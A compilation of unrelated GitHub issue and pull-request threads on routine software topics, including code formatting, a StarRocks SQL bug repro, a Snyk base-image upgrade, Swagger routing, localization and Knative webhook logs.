let f = <T>(this: number) => {  // no error
    let that = this;  // resolved the same way as if `this: number` were not specified;
                      // may be an error depending on context and compiler options
};

thanks @mattmccutchen!


Enforce python code formatting

See discussion #82 where @dneise proposed using https://github.com/python/black
I don't have strong feelings about whether we should globally reformat the codebase or if we should just apply it progressively as we're making changes, but we should document and verify code if we decide to implement this.

Hello Kevin, thanks for opening this discussion. I personally believe following any kind of code style will help a lot.
I personally would refrain from enforcing anything in an open source project. I'd rather invite people to follow a certain style. And if PRs come in from people who have never heard of code style or tools to help them with style, I'd show them. Since repo owners can push into PRs from forks it is nowadays really easy to train newbies: While in the past one needed to tell them to about style issues in their PR and weit for them to fix the issues before merging, one can nowadays just apply ones preferred styling tool one the PR .. push it and then show the original author of a PR, that in the future one would rather like them to apply this kind of style to the code prior to opening a PR.... that's it .. matter of minutes .. at most.
Now which style one should use, I do not know .. I also do not care.
If you'd like to see how black would reformat the entire codebase:
https://github.com/ggtracker/sc2reader/compare/upstream...dneise:blacken_everything

I have one question though:

we should document and verify code if we decide to implement this.

What do you mean by document and verify in this context?

Document means write in the README/contributing doc.
Verify would be something like https://github.com/cclauss/claussoft-dominos/blob/master/.travis.yml#L15 which fails the build if the code is not 100% black.

Ah okay, got it. So .. I've made a proposal in PR #87, maybe somebody would like to have a look at it. I had some problems with the circleci config, but maybe that's better discussed over there.

Done in #87


DownloadContents does not return RepositoryContent

Summary
DownloadContents allows receiving files exceeding the 1MB limit of GetContents. Unfortunately, the current implementation does not return the RepositoryContent of the requested file.
Limitation
When trying to read, update and commit changes to a file larger than 1MB, the user currently has to additionally call GetContents of the directory to receive the SHA of the file currently being edited.
Expectation
DownloadContents should additionally return the RepositoryContent of the requested file.
Proposed Changes
I am happy to work on this. For the sake of backwards compatibility, I suggest an additional method with the above mentioned return values and identical test coverage. Naturally, this comes at the cost of (temporary) code duplication.

Thank you, @daniellanner !  This sounds good and will also require some good method comments explaining the differences and when you should use one method versus the other.

Hi @gmlewis, I added my changes and opened a PR. To ensure parity with DownloadContents I naively and without critical thought added the new method to the skipMethods map in update-urls/main.go.
Thanks for letting me have a go (chichi) at this and let me know if anything is unsatisfactory.


Added missing include and typedefs

Good point, I had not thought.
But now I do not know how we can fix here on GitHub.

The spiffs_config.h is meant to be but an example. The user is meant to go through and add/remove/reconfig what is needed when it comes to typedefs a.o. That's also the reason of the scissor ascii art:
// ----------- 8< ------------
 bla bla
// ----------- >8 ------------


result error from sqlancer query

Steps to reproduce the behavior (Required)
DROP DATABASE IF EXISTS w9;
CREATE DATABASE w9;
USE w9;
admin set frontend config ("enable_decimal_v3" = "true");
CREATE TABLE t0 (c_0_0 DATE NOT NULL ,c_0_1 DATE NOT NULL ,c_0_2 BOOLEAN REPLACE NOT NULL ,c_0_3 BOOLEAN REPLACE NULL ,c_0_4 DECIMAL(30, 15)  SUM NULL ) AGGREGATE KEY (c_0_0,c_0_1) PARTITION BY RANGE(c_0_0) (START ("2010-01-01") END ("2021-12-31") EVERY (INTERVAL 89 day)) DISTRIBUTED BY HASH (c_0_1) BUCKETS 3 properties("replication_num"="3") ;
CREATE TABLE IF NOT EXISTS t1 (c_1_0 BIGINT NOT NULL ,c_1_1 VARCHAR(11) REPLACE_IF_NOT_NULL NULL ) AGGREGATE KEY (c_1_0) DISTRIBUTED BY HASH (c_1_0) BUCKETS 3 properties("replication_num"="3") ;
INSERT INTO t1 VALUES (-726115304, '');
INSERT INTO t1 VALUES (-726115304, ''), (706425684, 'G');
INSERT INTO t1 VALUES (615003013, 'bbU');
INSERT INTO t0 VALUES ('2010-01-25', '2010-01-25', true, false, 0.288179818550634);
INSERT INTO t0 VALUES ('2010-01-27', '2010-01-02', true, false, 0.433250604389951), ('2010-01-11', '2010-01-27', true, true, NULL), ('2010-01-17', '2010-01-19', false, true, NULL);
-- SELECT subt0.c_0_0 FROM  (SELECT t1_93.c_1_0, t1_93.c_1_1 FROM t1 AS t1_93 ORDER BY t1_93.c_1_0) subt1 RIGHT ANTI JOIN (SELECT t0_92.c_0_0, t0_92.c_0_1, t0_92.c_0_2, t0_92.c_0_3, t0_92.c_0_4 FROM t0 AS t0_92) subt0 ON subt1.c_1_1 = subt0.c_0_1 AND subt1.c_1_1 != subt0.c_0_1;
-- cardinality: 4
-- SELECT subt0.c_0_0 FROM  (SELECT t1_93.c_1_0, t1_93.c_1_1 FROM t1 AS t1_93 ORDER BY t1_93.c_1_0) subt1 RIGHT ANTI JOIN (SELECT t0_92.c_0_0, t0_92.c_0_1, t0_92.c_0_2, t0_92.c_0_3, t0_92.c_0_4 FROM t0 AS t0_92) subt0 ON subt1.c_1_1 = subt0.c_0_1 AND subt1.c_1_1 != subt0.c_0_1 WHERE ( ( subt0.c_0_4 ) != ( subt0.c_0_4 ) ) IN ((SELECT t1_93.c_1_0 FROM t1 AS t1_93 WHERE (subt0.c_0_1) IN ('1970-01-04') ) )  UNION ALL SELECT subt0.c_0_0 FROM  (SELECT t1_93.c_1_0, t1_93.c_1_1 FROM t1 AS t1_93 ORDER BY t1_93.c_1_0) subt1 RIGHT ANTI JOIN (SELECT t0_92.c_0_0, t0_92.c_0_1, t0_92.c_0_2, t0_92.c_0_3, t0_92.c_0_4 FROM t0 AS t0_92) subt0 ON subt1.c_1_1 = subt0.c_0_1 AND subt1.c_1_1 != subt0.c_0_1 WHERE (NOT (( ( subt0.c_0_4 ) != ( subt0.c_0_4 ) ) IN ((SELECT t1_93.c_1_0 FROM t1 AS t1_93 WHERE (subt0.c_0_1) IN ('1970-01-04') ) ) )) UNION ALL SELECT subt0.c_0_0 FROM  (SELECT t1_93.c_1_0, t1_93.c_1_1 FROM t1 AS t1_93 ORDER BY t1_93.c_1_0) subt1 RIGHT ANTI JOIN (SELECT t0_92.c_0_0, t0_92.c_0_1, t0_92.c_0_2, t0_92.c_0_3, t0_92.c_0_4 FROM t0 AS t0_92) subt0 ON subt1.c_1_1 = subt0.c_0_1 AND subt1.c_1_1 != subt0.c_0_1 WHERE ((( ( subt0.c_0_4 ) != ( subt0.c_0_4 ) ) IN ((SELECT t1_93.c_1_0 FROM t1 AS t1_93 WHERE (subt0.c_0_1) IN ('1970-01-04') ) ) ) IS NULL);
-- cardinality: 6

Expected behavior (Required)
Real behavior (Required)
StarRocks version (Required)

You can get the StarRocks version by executing SQL select current_version()

mysql> select current_version();
+----------------------------+
| current_version()          |
+----------------------------+
| BRANCH-2.3-RELEASE b7c1680 |
+----------------------------+

-- Q1
SELECT c_0_0
FROM t1 RIGHT ANTI
JOIN t0 ON c_1_1 = c_0_1
AND c_1_1 != c_0_1
WHERE (((c_0_4 != c_0_4) IN ((SELECT c_1_0
                                          FROM t1
                                          WHERE (c_0_1) IN ('1970-01-04') ))) IS NULL)

-- Q2
SELECT c_0_0
FROM t1 RIGHT ANTI
JOIN t0 ON c_1_1 = c_0_1
AND c_1_1 != c_0_1
WHERE (NOT ((c_0_4 != c_0_4) IN ((SELECT c_1_0
                                          FROM t1
                                          WHERE (c_0_1) IN ('1970-01-04') ))))


Add allergens relation to 3.x branch

This fixes #975

It appears that this fix renders already created option values invisible for editing. While pre-made options can still be added to menu and will be populated, choosing "Edit option" shows empty values.
Can't confirm if issue is created by the fix, since editing is broken without it.
Reproduction:

Apply fix
Select option made before update
Click Edit Option
All "Option Values" are empty

This last fix, brakes again the feature to create new options. If you go (after applying the fix) to create a new option, system comes up with a huge error.

Fixed in a separate commit https://github.com/tastyigniter/TastyIgniter/commit/e8d87178fb71fdb3d7846cd55a8795d6b3004555


News pagination

See https://trello.com/c/o0zue7WC/23-add-pagination-to-news
Enables Jekyll pagination (see https://jekyllrb.com/docs/pagination/) using the pagination style produced by @lunson.
To test this PR go to https://snoopycrimecop.github.io/www.openmicroscopy.org/community/news/ and check the news are now paginated. The number of posts per page is initially set to 5 but can be increased.

As I click around from page to page the horizontal spacing of the page numbers in that row jumps about weirdly.

:+1: for the idea! None of my nitpicks are blockers: this PR is already an improvement over having no pagination.

Also a bit weird that inactive page numbers go italic but inactive Prev/Next don't.

Thanks @mtbc. For all the styling questions, this PR literally implements the strategy from https://jekyllrb.com/docs/pagination/ with a small workaround for the first page in a05f05c. There are probably a few improvements to consider either at the HTML or at the CSS level to address some of the comments above.
In the meantime, this can also remain open while we migrate the news content until we review it on @lunson's return.

Got a good to merge from @lunson, @pwalczysko and @joshmoore.


[CT-1552] [Bug] Dataframe.collect() is used for the fetchOne method where only one row is required.

Is this a new bug in dbt-spark?

[X] I believe this is a new bug in dbt-spark
[X] I have searched the existing issues, and I could not find an existing issue for this bug

Current Behavior
Currently when fetchOne is called in sessions.py class, it will fetch the first row from dataframe, which it does by applying .collect() on dataframe and then get the first element from the output rows. This will impact the performance or if the dataset is huge then driver can fill up.
Expected Behavior
Spark provides an API to take the required number of rows using take() method on dataframe. which can be reused here to avoid the above mentioned problems.
Steps To Reproduce
Just a code enhancement, found via code review.
Relevant log output
No response
Environment
- OS:mac OS
- Python: 3.8.9
- dbt-core: 1.4.0-a1
- dbt-spark: 1.4.0-a1

Additional Context
No response

Removing the python_models label, because this is actually about the advanced/experimental "session" connection method for dbt-spark, which submits SQL via PySpark:

https://github.com/dbt-labs/dbt-spark/blob/main/dbt/adapters/spark/session.py
https://docs.getdbt.com/reference/warehouse-setups/spark-setup#session

Thank you @akashrn5 for the suggested performance enhancement and for opening a pull request! The changes you've proposed look reasonable and we've marked the pull request as ready for review by the core team.


feat: add server render

SSR 使用指南
1. 切换到demo目录
cd ./demo

2. esbuild 编译ssr服务端脚本
npm run ssr-build

3. 开启ssr服务
npm run ssr-serve

4. 借助vite加载客户端做水合
npm run dev

5. 看下效果
http://localhost:8080/ssr

Codecov Report

Merging #313 (b6954f6) into master (1c582c5) will decrease coverage by 7.54%.
The diff coverage is 67.31%.

@@            Coverage Diff             @@
##           master     #313      +/-   ##
==========================================
- Coverage   98.63%   91.09%   -7.55%
==========================================
  Files           8       10       +2
  Lines         658      853     +195
  Branches      161      167       +6
==========================================
+ Hits          649      777     +128
- Misses          9       76      +67

Impacted Files
Coverage Δ

src/server/dom.ts
48.36% <48.36%> (ø)

src/reconcile.ts
98.57% <95.06%> (-1.07%)
:arrow_down:

src/index.ts
100.00% <100.00%> (ø)

src/server/index.ts
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1c582c5...b6954f6. Read the comment docs.


Generate L1::no_allocate for load/store in PTX

PTX 7.4 introduced cache eviction policies on load and store instruction. This PR leverages one of them that is L1::no_allocate. It tells hardware to bypass L1 cache for this specific load/store.
If the data won't require a L1 cache, this prefix avoids polluting. L1 is also very small, 192kb for A100, 128kb for V100, so not polluting is important. Other data that needs cache can use more efficiently. This should potentially yield performance.
I identified two cases where this prefix can be set: 1) writeonly data.
2) Streaming data : This means that when the hardware executes a load instruction, it brings a cache line and is 100% consumed by the threads, and is never needed again. More simply, data that is read once and coalasced.
The PR implements followings:
GPUCoalascedAccessPass
Finds stride-1 access inputs of linalg.generic.
MemrefLoadSetNonTemporal, MemrefStoreSetNonTemporal patterns Sets nontemporal flag on memset.load/store if subspan has Streaming or Writeonly flag.
GenerateLoadPTX, GenerateStorePTX patterns
Generates special load/store with L1::no_allocate if memref.load/store has nontemporal flag. It generates inline assembly.

I convert this PR to draft since it needs the most recent mlir, the following patch.
https://reviews.llvm.org/D142616


Fail startup if rules don't parse

If there's a parse error at startup, currently it'll be logged but the server will run and appear to be normal to a casual inspection. Instead we should bail out if this happens.

:+1:

Fixed via #768


issues when transcode from h264 to h265

msdk: ebddee333c54f8349ae49abef9e772d7229f2f81, build with Debug option.
libva: b3be72a5a110880f70626d7c3bed953cdde124b2
media-driver: 7c241661b333516b1c6698163b6c979319506fc3
sample_multi_transcode is able to transcode from h265 to h265, from h265 to h264, from h264 to h264, but, when transcode from h264 to h265, the video with 1920x1080 is transcoded to video with 1920x540, with the following command:
$ ./sample_multi_transcode -hw -i::h264 ~/xxx.264 -o::h265 ./test.265

Hello,
If your h264 stream is interlaced, then sample_multi_transcode enables interlace encoding for h265 by default. For that, VPP field splitting is enabled that produces field pair (top and bottom) with resolution 1920x540 each and encoder inserts picture timing SEI with picstruct type for every field picture in the bitstream.

thanks otsirule,  i'll check my stream. Just assume it is interlaced, from end user's perspective, what commands (or command options) should I use to convert this h264 to h265 without resolution change.

The only way to disable interlace encoding (both h264 and h265) in sample_multi_transcode (SMT) is enabling deinterlacer in the command line (-deinterlace::ADI/ADI_SCD/ADI_NO_REF/BOB).

got it, thanks.


[Snyk] Security upgrade node from 22.6.0 to 22.9

Snyk has created this PR to fix 3 vulnerabilities in the dockerfile dependencies of this project.
Keeping your Docker base image up-to-date means you’ll benefit from security fixes in the latest version of your chosen image.
Snyk changed the following file(s):

Dockerfile

We recommend upgrading to node:22.9, as this image has only 178 known vulnerabilities. To do this, merge this pull request, then verify your application still works as expected.
Vulnerabilities that will be fixed with an upgrade:

Issue
Score

Integer Overflow or Wraparound SNYK-DEBIAN12-ZLIB-6008963
  264

Integer Overflow or Wraparound SNYK-DEBIAN12-ZLIB-6008963
  264

Integer Overflow or Wraparound SNYK-DEBIAN12-AOM-7197979
  263

Integer Overflow or Wraparound SNYK-DEBIAN12-EXPAT-7855502
  263

Integer Overflow or Wraparound SNYK-DEBIAN12-EXPAT-7855502
  263

[!IMPORTANT]

Check the changes in this PR to ensure they won't cause issues with your project.
Max score is 1000. Note that the real score may have changed since the PR was raised.
This PR was automatically created by Snyk using the credentials of a real user.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
📜 Customise PR templates
🛠 Adjust project settings
📚 Read about Snyk's upgrade logic

Learn how to fix vulnerabilities with free interactive lessons:
🦉 Learn about vulnerability in an interactive lesson of Snyk Learn.

🎉 Snyk hasn't found any issues so far.
✅ code/snyk check is completed. No issues were found. (View Details)


The attachment menu's issues

The current background is transparent
Touching outside of the menu doesn't dismiss it

#76 should fix these issues.


Bump to PyTorch 1.7.0

/test

apparently there are only docker images for cuda11? https://hub.docker.com/r/pytorch/pytorch/tags

/test

/test
test_extended_sequential.py taking 20 minutes... Let me retest and see what happens.

Failing with the same error... I'll check if it works locally.

onnx warning should be fixed by: https://github.com/kmaehashi/pytorch-pfn-extras/pull/1

/test

LOL
E   UserWarning: CUDA initialization: The NVIDIA driver on your system is too old (found version 10020). Please update your GPU driver by downloading and installing a new version from the URL: http://www.nvidia.com/Download/index.aspx Alternatively, go to: https://pytorch.org to install a PyTorch version that has been compiled with your version of the CUDA driver. (Triggered internally at  /opt/conda/conda-bld/pytorch_1603729096996/work/c10/cuda/CUDAFunctions.cpp:100.)

/test

/test

still not updated :(

/test

/test


chore: use stdout logging for docker container

@darora  may I ask if the latest docker image of supabase/postres applied this fix yet?

Doesn't look like there's been a release since then; making one now https://github.com/supabase/postgres/pull/265

@darora  please inform us when the new image is ready to pull. really appreciate this


[Bug]: SwaggerUI post error route call

Describe the bug
When there is a method with the same name in two controls, calls made through the UI on one controller will point to the other controller:
`    [Route("v1/values")]
public class ValuesController : ControllerBase
{
    [HttpPost]
    [Route("action2")]
    public int Action2()
    {
        return 2;
    }

    [HttpPost]
    [Route("action")]
    public int Action()
    {
        return 1;
    }
}`

` [Route("v1/VV")]
public class VVController : ControllerBase
{
 [HttpPost]
 [Route("action")]

 public int Action()
 {
     return 3;
 }

}`
Call VVController .Action by SwaggerUI
Expected behavior
return 3
Actual behavior
return 2
Steps to reproduce
No response
Exception(s) (if any)
No response
Swashbuckle.AspNetCore version
No response
.NET Version
No response
Anything else?
No response

Please provide a minimal reproducible example as a GitHub repository that demonstrates the issue you're experiencing so we can look into this further.

Program.cs:
using Microsoft.AspNetCore.Builder; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using Swashbuckle.AspNetCore.SwaggerGen; using System.IO; using System.Threading.Tasks; namespace TestServiceApp {     public class Program     {             public static Task Main(params string[] args)         {             var builder = WebApplication.CreateBuilder(new WebApplicationOptions             {                 Args = args,                 ContentRootPath = Directory.GetCurrentDirectory(),                 EnvironmentName = Environments.Production,             });             var services = builder.Services;             services.AddSwaggerGen(c =>             {                 c.CustomOperationIds(apiDesc => apiDesc.TryGetMethodInfo(out var methodInfo) ? methodInfo.Name : null);             });             var mvc = services.AddMvcCore().AddApiExplorer();             var app = builder.Build();             app.UseRouting();             app.UseSwagger();             app.UseSwaggerUI();             app.MapControllers();             app.UseEndpoints((endpoints) => { });             return app.RunAsync();         }     } }
VVController.cs:
using Microsoft.AspNetCore.Mvc; namespace TestServiceApp.Controllers {     [Route("v1/[controller]")]     public class VVController : ControllerBase     {          [HttpPost]         [Route("action")]                public int Action()         {             return 3;         }     } }
ValuesController.cs:
using Microsoft.AspNetCore.Mvc; namespace TestServiceApp.Controllers {     [Route("v1/[controller]")]     public class ValuesController : ControllerBase     {           [HttpPost]         [Route("action2")]         public int Action2()         {             return 2;         }         [HttpPost]         [Route("action")]         public int Action()         {             return 1;         }     } }

I use c.DisplayOperationId() to display the C# method's name.

That's probably enough for someone to repro, but a GitHub project is much preferred so someone can just clone it and start debugging. For example, you've not provided your .csproj content, so someone will need to guess at what's needed.
The easier you make a problem to debug, the more likely someone will be to give up their free time to look into it.

I have found the err:
DisplayOperationId must be unique, but method's cannot guarantee uniqueness.
Thanks.


Documentation for camera coordinate frames and creating the json

Is your feature request related to a problem? Please describe.
What is the camera coordinate frame used by nerfstudio? Colmap uses +x -> right, +y -> down, +z -> forward.
The code at this line makes me think that nerfstudio uses +x -> right, +y -> up, +z -> behind camera, like blender?
I would like to use camera poses from a different pipeline (synthetic images). I could create the json file that you create after pre-processing the colmap output, but I am confused what the coordinate system is. Specifically the  lines 439-440 here show that the X and Y axes are being swapped, and z is flipped (again) ?
Some explanation of the camera coordinate frame would be very useful! Please point me to it if it exists already.

Hey @akshay-krishnan, you are correct in your interpretation. I'm adding the docs in PR #889.

Thank you @ethanweber !


How will it handle the localization of model Validations

I wanted DataAnnotations Like [Required], [Display], [Range] to be localized. I tried some ways as I found over StackOverflow etc but nothing seems right for this Json localizer.
Any idea on how to accomplish the same. Sample code would be really helpfull.

Before I dig into, please check the LocalizationSample.Web, because my JsonLocalizer should work as same as StringLocalizer except it looks for the resources from the JSON files

I tried some ways as I found over StackOverflow etc but nothing seems right for this Json localizer

Can you point to some of those?

Got it working after trying out a couple of approaches. I got it working it using just couple of lines as
            services.AddMvc()                  .AddDataAnnotationsLocalization(o =>                  {                      var factory = services.BuildServiceProvider().GetService<IStringLocalizerFactory>();                      var localizer = factory.Create(typeof(Resource));                      o.DataAnnotationLocalizerProvider = (t, f) => localizer;                  })                  .SetCompatibilityVersion(CompatibilityVersion.Version_2_1);
Where Resource is your Resource Class name which matches with the json file name.
Now my model looks like:
`
public class LocalizationModel
{
[Required(ErrorMessage = "The {0} field is required.")]
[MaxLength(4, ErrorMessage = "The field {0} must be a string or array type with a maximum length of '{1}'.")]
public string Name { get; set; }
    [Range(0, 10, ErrorMessage = "The field {0} must be between {1} and {2}.")]
    public int Id { get; set; }
}

`
My Resource.en.json file looks like:
{   "The {0} field is required.": "The {0} field is required.",   "The field {0} must be a string or array type with a maximum length of '{1}'.": "The field {0} must be a string or array type with a maximum length of '{1}'.",   "The field {0} must be between {1} and {2}.": "The field {0} must be between {1} and {2}." }
You can use some more readable keys in json file and then do rest of the changes as required

Hope you share your repo if it's public, so I can create a link for it

I will create one and share soon. and provide the link here.

Thanks .. I appreciated!!

@hishamco I have created one example with localization working with DataAnnotations also.
https://github.com/Sandeep321/asp.netcore-JsonResourceLocalizer
might be helpful

As I see the DataAnnotations issue that you talked about before isn't related directly to the JsonLocalizer perhaps a setup issue, furthermore I expect that you 'll reference my package that's published in NuGet rather than copy paste the code again without adding a value 😄

Thank you @Sandeep321 for sharing.
This addresses an issue we had with DataAnnotation, and confirmed a solution we expected to work.
[CC: @Muhammad-Altabba].

I wonder @hishamco though if it's possible to add this setup it into the library.
For example, using extension method to MVC, e.g. AddJSONDataAnnotationsLocalization() maybe?

@abarrak the DataAnnotation stuff is handled in the MVC. I will open a new issue with your suggestion and investigate on that

I tried every way I thought possible and I never managed to make the location work in the Required, Display and Length attributes.
I don't know if I did it wrong or if it's not compatible.
I'm testing .NET Core 8 Blazor Server.
Could anyone help me please?

@feliperesendebr could you please file a new issue with a reproduced steps so I can test too


Please activate the Github Sponsor feature

Currently, you can not support via the Github Sponsor function but only via Paypal and via Paypal not automatically recurring but always only once.
I like to use the Github Sponsor function to support projects which I use regularly and therefore appreciate with 1€ / month / project. This 1€ should not justify any expectation but simply be a rather symbolic thanks, I would like to send this monthly.
Thank you very much.

Thank you for activating the sponsor function


Nearby: confusing message about location permission

Summary:
I use an Android 5.1.1 device. Runtime permissions were introduced only in Android 6. When I use the Nearby feature with Location (not the Location permission for the app, the location (GPS) of the phone) turned off, I get an error stating "GPS is disabled" error which is fine. If I give "Cancel" instead of "Enable GPS", I'm shown a error message stating "Nearby places" can't be displayed without location permission. This seem irrelevant as there's no such things as location permission for the app in my device. It's better to improve the wordings a little in this case.
Possible solution
When the user taps on "Cancel" instead of "Enable GPS" for the "Enable GPS" pop-up, showing a full screen error page stating GPS needs to be enabled to use this feature might be helpful. It might also contain a "Refresh" icon or something. Asking to enable GPS permission when the user has denied it doesn't seem to be a nice User experience. If he has did it by mistake the "Refresh" icon should help him.
Just wondering, why don't we also allow users to use Nearby to find places needing pictures by manually specifying a location in Maps? This makes the feature usable even without GPS.
Steps to reproduce:

Ensure you're using the app on a device with Android version < 6.
Open the app
Go to Nearby
Tap cancel for the "Enable GPS" pop-up

Expected: Either Nearby is usable without enabling GPS (OR) a full-screen error is shown stating requirement of GPS (with Refresh button)
Actual: A weird "Nearby permission" pop-up shows up.
Device and Android version:
Samsung Galaxy J1 Ace, Android 5.1.1 (stock)
Commons app version:
2.8.6
Screen-shots:
Just for reference:

Would you like to work on the issue?
No.

Ah, thanks for spotting this! Indeed the error message needs to be improved. Currently it seems the same dialog is displayed when GPS is off AND when permissions aren't given, which should not be the case.

Just wondering, why don't we also allow users to use Nearby to find places needing pictures by manually specifying a location in Maps? This makes the feature usable even without GPS.

This is planned for the near future, see #591 . :)

I don't get the pop-up with the confusing message anymore but one things surprises me. Tapping on the "Locate me" icon doesn't ask me to enable location (GPS) when it's disabled. It simply does nothing when I've disabled it. This is misleading. I'll open a separated issue for that. I'm closing this as its not relevant anymore.


Update developer guide (go to module)

Updated developer guide with regards to the functionality of go to module.
Included:
GoToCommand Sequence Diagram
GoToCommand Activity Diagram
Documentation on GoToCommand

Codecov Report
Base: 75.02% // Head: 75.02% // No change to project coverage :thumbsup:

Coverage data is based on head (40704e6) compared to base (9a83c9c).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff            @@
##             master      #87   +/-   ##
=========================================
  Coverage     75.02%   75.02%
  Complexity      622      622
=========================================
  Files           102      102
  Lines          1910     1910
  Branches        212      212
=========================================
  Hits           1433     1433
  Misses          399      399
  Partials         78       78

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Add examples to CALM documentation

Feature Request
Description of Problem:
As a person wanting to find out what CALM actually is, when looking at the documentation, I want to see some meaningful examples including visualisations so I can understand better how CALM is used.
Potential Solutions:
There are already some small examples in the Core Concepts section, however having some more fully worked examples which include corresponding diagrams would greatly help with comprehension.  We should use TraderX as one of the examples, however that is quite complex so we need some simpler ones leading up to that.

Completely agree with this - as someone new to the area ( and trying to build upon the logic within the CLI for extensions ) finding examples that were actually "correct" was a bit more of a pain than it should be.
https://github.com/finos/architecture-as-code/issues/484
I raised this issue a few days ago, to cover ensuring that the examples we do have in the code are at the very least correct. Do you think we should merge these?


NH-26014 Kubernetes agent: Change namespace where events are sent

Assign namespace for events

Could you update CHANGELOG? see https://github.com/solarwinds/swi-k8s-opentelemetry-collector/blob/master/doc/development.md#contribution-guidelines

Updated CHANGELOG.


The deployment webhook fails to launch, with the installation with the operator

The deployment webhook fails to launch with the following error for the webhook pod:
2020/10/05 18:59:37 maxprocs: Updating GOMAXPROCS=1: using minimum allowed GOMAXPROCS
2020/10/05 18:59:37 Registering 2 clients
2020/10/05 18:59:37 Registering 3 informer factories
2020/10/05 18:59:37 Registering 4 informers
2020/10/05 18:59:37 Registering 5 controllers
{"level":"info","ts":1601924377.0208821,"logger":"fallback","caller":"sharedmain/main.go:152","msg":"Starting informers..."}
{"level":"info","ts":"2020-10-05T18:59:37.040Z","caller":"logging/config.go:110","msg":"Successfully created the logger."}
{"level":"info","ts":"2020-10-05T18:59:37.041Z","caller":"logging/config.go:111","msg":"Logging level set to: info"}
{"level":"info","ts":"2020-10-05T18:59:37.041Z","logger":"webhook","caller":"profiling/server.go:59","msg":"Profiling enabled: false","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.067Z","logger":"webhook","caller":"leaderelection/context.go:46","msg":"Running with Standard leader election","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.102Z","logger":"webhook","caller":"sharedmain/main.go:261","msg":"Starting configuration manager...","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.179Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-autoscaler\" config was added or updated: &autoscalerconfig.Config{EnableScaleToZero:true, ContainerConcurrencyTargetFraction:0.7, ContainerConcurrencyTargetDefault:100, TargetUtilization:0.7, RPSTargetDefault:200, TargetBurstCapacity:200, ActivatorCapacity:100, AllowZeroInitialScale:false, InitialScale:1, MaxScale:0, MaxScaleLimit:0, MaxScaleUpRate:1000, MaxScaleDownRate:2, StableWindow:60000000000, PanicWindowPercentage:10, PanicThresholdPercentage:200, ScaleToZeroGracePeriod:30000000000, ScaleToZeroPodRetentionPeriod:0, ScaleDownDelay:0, PodAutoscalerClass:\"kpa.autoscaling.knative.dev\"}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.179Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-autoscaler\" config was added or updated: &autoscalerconfig.Config{EnableScaleToZero:true, ContainerConcurrencyTargetFraction:0.7, ContainerConcurrencyTargetDefault:100, TargetUtilization:0.7, RPSTargetDefault:200, TargetBurstCapacity:200, ActivatorCapacity:100, AllowZeroInitialScale:false, InitialScale:1, MaxScale:0, MaxScaleLimit:0, MaxScaleUpRate:1000, MaxScaleDownRate:2, StableWindow:60000000000, PanicWindowPercentage:10, PanicThresholdPercentage:200, ScaleToZeroGracePeriod:30000000000, ScaleToZeroPodRetentionPeriod:0, ScaleDownDelay:0, PodAutoscalerClass:\"kpa.autoscaling.knative.dev\"}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-defaults\" config was added or updated: &config.Defaults{RevisionTimeoutSeconds:300, MaxRevisionTimeoutSeconds:600, UserContainerNameTemplate:\"user-container\", ContainerConcurrency:0, ContainerConcurrencyMaxLimit:1000, AllowContainerConcurrencyZero:true, EnableServiceLinks:(*bool)(nil), RevisionCPURequest:(*resource.Quantity)(nil), RevisionCPULimit:(*resource.Quantity)(nil), RevisionMemoryRequest:(*resource.Quantity)(nil), RevisionMemoryLimit:(*resource.Quantity)(nil), RevisionEphemeralStorageRequest:(*resource.Quantity)(nil), RevisionEphemeralStorageLimit:(*resource.Quantity)(nil)}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-defaults\" config was added or updated: &config.Defaults{RevisionTimeoutSeconds:300, MaxRevisionTimeoutSeconds:600, UserContainerNameTemplate:\"user-container\", ContainerConcurrency:0, ContainerConcurrencyMaxLimit:1000, AllowContainerConcurrencyZero:true, EnableServiceLinks:(*bool)(nil), RevisionCPURequest:(*resource.Quantity)(nil), RevisionCPULimit:(*resource.Quantity)(nil), RevisionMemoryRequest:(*resource.Quantity)(nil), RevisionMemoryLimit:(*resource.Quantity)(nil), RevisionEphemeralStorageRequest:(*resource.Quantity)(nil), RevisionEphemeralStorageLimit:(*resource.Quantity)(nil)}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-features\" config was added or updated: &config.Features{MultiContainer:\"Enabled\", PodSpecAffinity:\"Disabled\", PodSpecDryRun:\"Allowed\", PodSpecFieldRef:\"Disabled\", PodSpecNodeSelector:\"Disabled\", PodSpecRuntimeClassName:\"Disabled\", PodSpecSecurityContext:\"Disabled\", PodSpecTolerations:\"Disabled\", ResponsiveRevisionGC:\"Allowed\", TagHeaderBasedRouting:\"Disabled\"}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
